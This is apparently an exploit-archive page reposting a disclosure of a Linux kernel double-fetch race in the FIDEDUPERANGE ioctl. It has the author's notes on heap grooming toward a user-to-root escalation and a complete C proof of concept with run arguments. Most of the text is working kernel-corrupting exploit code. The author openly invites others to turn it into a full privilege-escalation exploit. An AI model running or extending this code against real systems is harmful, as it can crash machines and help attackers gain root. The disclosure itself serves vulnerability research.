Home / os / solaris

Linux >= 4.5 double fetch leading to heap overflow

Posted on 30 November -0001

<HTML><HEAD><TITLE>Linux >= 4.5 double fetch leading to heap overflow</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>Attached is a PoC. I attempted to write an exploit for this but that's not really my forte. I feel like this bug has the potential for a workable user->root exploit but I couldn't do it. 1: You can control which cache the overflow happens on. I picked the same cache as the File struct. 2: the code writes 2 different width zeros past the allocation, one 32 bit and the other 64 bit. 3: I attempted to overflow and write the 32 bit 0 to the top half of a pointer so it would point to userland, but I couldn't find a suitable structure to overflow into. So if anyone plays around with this and gets a workable exploit please share the details as I'm looking to expand my exploitation knowledge, and techniques. Thank you, --Scott For the poc: gcc -pthread doublefetch.c ./a.out 7 65534 1000000 0 #include <stdio.h> #include <stdlib.h> #include <inttypes.h> #include <pthread.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> static const char* file_path = "/tmp/test.txt"; static const char* file_path2 = "/tmp/test2.txt"; typedef int64_t __s64; typedef int32_t __s32; typedef uint64_t __u64; typedef uint16_t __u16; typedef uint32_t __u32; struct file_dedupe_range_info { __s64 dest_fd; /* in - destination file */ __u64 dest_offset; /* in - start of extent in destination */ __u64 bytes_deduped; /* out - total # of bytes we were able */ __s32 status; /* out - see above description */ __u32 reserved; /* must be zero */ }; /* from struct btrfs_ioctl_file_extent_same_args */ struct file_dedupe_range { __u64 src_offset; /* in - start of extent in source */ __u64 src_length; /* in - length of extent */ __u16 dest_count; /* in - total elements in info array */ __u16 reserved1; /* must be zero */ __u32 reserved2; /* must be zero */ struct file_dedupe_range_info info[0]; }; #define FIDEDUPERANGE _IOWR(0x94, 54, struct file_dedupe_range) volatile static int trigger = 0; volatile static int trigger1 = 0; volatile static int stop = 0; volatile uint16_t wew; static unsigned int stupid_hack = 1; static void *size_change(void *addr) { struct file_dedupe_range *range = addr; while(!stop) { trigger1 = 1; while (trigger == 0 ) { } usleep(stupid_hack); range->dest_count = wew; stupid_hack++; if(stupid_hack > 100000) stupid_hack = 1; trigger1 = 0; } } int main(int argc, char **argv) { int fd, fd2, i, counter; struct file_dedupe_range *range; pthread_t race_car; int fds[100]; int num = atoi(argv[1]); int loop = atoi(argv[3]); wew = atoi(argv[2]); stupid_hack = atoi(argv[4]); fd = open(file_path, O_RDWR | O_CREAT); fd2 = open(file_path2, O_RDWR | O_CREAT); if (fd < 0) { printf("Failed to open %s with error %s ", file_path, strerror(errno)); return EXIT_FAILURE; } range = malloc(sizeof(*range) + sizeof(struct file_dedupe_range_info)*num); memset(range, 0, sizeof(*range) + sizeof(struct file_dedupe_range_info)*num); if (!range) { printf("Failed to alloc mem, exiting "); close(fd); return EXIT_FAILURE; } range->dest_count = num; range->src_offset = 0; range->src_length = 65535+4096+4096; for (i = 0; i < num; i++) range->info[i].dest_fd = fd2; //write(fd, file_path, 4); sync(); pthread_create(&race_car, NULL, size_change, range); for (counter = 0; counter < loop; counter++) { for (i = 0; i < 100; i++) { fds[i] = socket(AF_INET, SOCK_STREAM, 0); if (fds[i] < 0) { printf("Failed to open socket #%d ", i); } } while(trigger1 != 1) { } trigger = 1; asm volatile("sfence"); close(fds[50]); close(fds[51]); ioctl(fd, FIDEDUPERANGE, range); //printf("ioctl done with %s ", strerror(errno)); trigger = 0; while(trigger1 == 0) { } range->dest_count = num; for (i = 0; i < 100; i++) close(fds[i]); } stop = 1; pthread_join(race_car, NULL); } </BODY></HTML>

 

TOP